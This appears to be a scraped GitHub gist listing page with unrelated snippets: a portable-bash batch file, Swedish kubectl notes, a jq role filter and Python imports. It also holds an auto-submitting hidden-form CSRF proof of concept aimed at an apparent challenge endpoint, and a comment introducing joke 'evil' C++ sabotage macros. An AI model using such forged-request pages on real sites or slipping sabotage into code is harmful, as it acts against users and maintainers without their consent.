Skip to content

Instantly share code, notes, and snippets.

@echo off
rem Copyright (C): 2010 Voyagerfan5761
rem http://technobabbl.es/
set USERPROFILE=%~dp0
set HOMEDRIVE=%~d0
set HOMEPATH=%~p0
set HOME=%~dp0
set HISTFILE=%USERPROFILE%.bash_history
rem set BASHRC=%USERPROFILE%.bashrc
// Just before switching jobs:
// Add one of these.
// Preferably into the same commit where you do a large merge.
//
// This started as a tweet with a joke of "C++ pro-tip: #define private public",
// and then it quickly escalated into more and more evil suggestions.
// I've tried to capture interesting suggestions here.
//
// Contributors: @r2d2rigo, @joeldevahl, @msinilo, @_Humus_,
// @YuriyODonnell, @rygorous, @cmuratori, @mike_acton, @grumpygiant,
<html>
<body>
<form name="spandop" method="post" action="/user/csrfchallengetwo/plusplus">
<input type="hidden" name="userId" value="76a0cb8148871965dd31722192b7976e4154d2a0" />
</form>
<script>document.spandop.submit();</script>
</body>
</html>
@span
span / gist:7cd743a8e06cff7f7cac7b5d6ad99124
Last active October 14, 2021 06:46
Kluster kommandon
# Kubectl
## Nod resursutnyttjande
kubectl top nodes
## Debugga nod
kubectl debug node <noden name> -it --image=mcr.microsoft.com/aks/fundamental/base-ubuntu:v0.0.11
@span
span / gist:e694f5612fe6c243c7dcea97c99e3073
Created October 26, 2021 15:19
JQ find all roles that contains exec string
jq -r '.items[] | select(. | @text | contains("exec")) | .metadata.name' roles.json
@span
span / list.md
Created February 5, 2022 07:02 — forked from ih2502mk/list.md
Quantopian Lectures Saved
@span
span / get_pricing.py
Last active February 6, 2022 14:27
get_pricing
# Import our libraries
# This is for numerical processing
import numpy as np
# This is the library most commonly used for plotting in Python.
# Notice how we import it 'as' plt, this enables us to type plt
# rather than the full string every time.
import matplotlib.pyplot as plt
import pandas as pd
import os